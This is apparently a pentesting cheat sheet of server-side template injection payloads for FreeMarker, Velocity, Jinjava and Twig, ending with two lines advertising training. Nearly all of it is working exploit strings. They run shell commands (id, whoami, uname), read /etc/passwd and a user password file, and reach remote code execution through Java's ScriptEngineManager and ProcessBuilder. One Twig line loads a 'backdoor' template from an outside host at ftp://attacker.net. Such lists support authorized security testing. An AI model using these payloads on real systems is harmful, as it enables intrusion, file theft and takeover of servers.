${7*7}${{7*7}}${class.getClassLoader()}${class.getResource("").getPath()}${class.getResource("../../../../../index.htm").getContent()}// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
<#assign ex ="freemarker.template.utility.Execute"?new()>${ ex("id")}[#assign ex ='freemarker.template.utility.Execute'?new()]${ ex('id')}${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
// I think this doesn't work#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end// This should work?#set($s="")#set($stringClass=$s.getClass())#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())#set($process=$runtime.exec("cat%20/flag563378e453.txt"))#set($out=$process.getInputStream())#set($null=$process.waitFor() )#foreach($i+in+[1..$out.available()])$out.read()#end
{{request.isDebug()}}//output: False//Using string 'a' to get an instance of class sun.misc.Launcher{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}//output: sun.misc.Launcher@715537d4//It is also possible to get a new object of the Jinjava class{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}//output: com.hubspot.jinjava.JinjavaConfig@78a56797//It was also possible to call methods on the created object by combining the{%%} and {{ }} blocks{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}{{ji.render('{{1*2}}')}}//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx//RCE{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e//RCE with org.apache.commons.io.IOUtils.{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution//Multiple arguments to the commandsPayload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
#Get Info{{_self}}#(Ref. to current application){{_self.env}}{{dump(app)}}{{app.request.server.all|join(',')}}#File read"{{'/etc/passwd'|file_excerpt(1,30)}}"@#Exec code{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}{{['id']|filter('system')}}{{['cat\x20/etc/passwd']|filter('system')}}{{['cat$IFS/etc/passwd']|filter('system')}}{{['id',""]|sort('system')}}#Hide warnings and errors for automatic exploitation{{["error_reporting","0"]|sort("ini_set")}}
HackTricks 培训 AWS 红队专家 (ARTE)
HackTricks 培训 GCP 红队专家 (GRTE)
